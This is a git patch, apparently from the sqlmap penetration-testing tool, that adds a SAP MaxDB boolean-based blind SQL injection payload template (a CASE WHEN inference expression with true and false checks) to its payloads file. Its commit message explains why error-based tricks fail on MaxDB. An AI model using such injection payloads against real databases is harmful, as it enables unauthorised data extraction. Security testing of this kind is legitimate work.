From ff9080de4893530c8047c98ff902d94b10dded04 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 21 Feb 2011 20:59:34 +0000 Subject: [PATCH] MaxDB always precalculates values for both TRUE and FALSE, hence we can't trick him to run any "faulty" command (e.g. 1/0). This payload is fairly ok because in case of FALSE --> something=NULL is always NULL --- xml/payloads.xml | 20 +++++++++++++++++++- 1 file changed, 19 insertions(+), 1 deletion(-) diff --git a/xml/payloads.xml b/xml/payloads.xml index 6e1668b1f..fe8378613 100644 --- a/xml/payloads.xml +++ b/xml/payloads.xml @@ -745,7 +745,25 @@ Formats: Microsoft Access - + + + SAP MaxDB boolean-based blind - Parameter replace (original value) + 1 + 3 + 1 + 1,3 + 3 + (CASE WHEN [INFERENCE] THEN [ORIGVALUE] ELSE NULL END) + + (CASE WHEN [RANDNUM]=[RANDNUM] THEN [ORIGVALUE] ELSE NULL END) + + + (CASE WHEN [RANDNUM]=[RANDNUM1] THEN [ORIGVALUE] ELSE NULL END) + +
+ SAP MaxDB +
+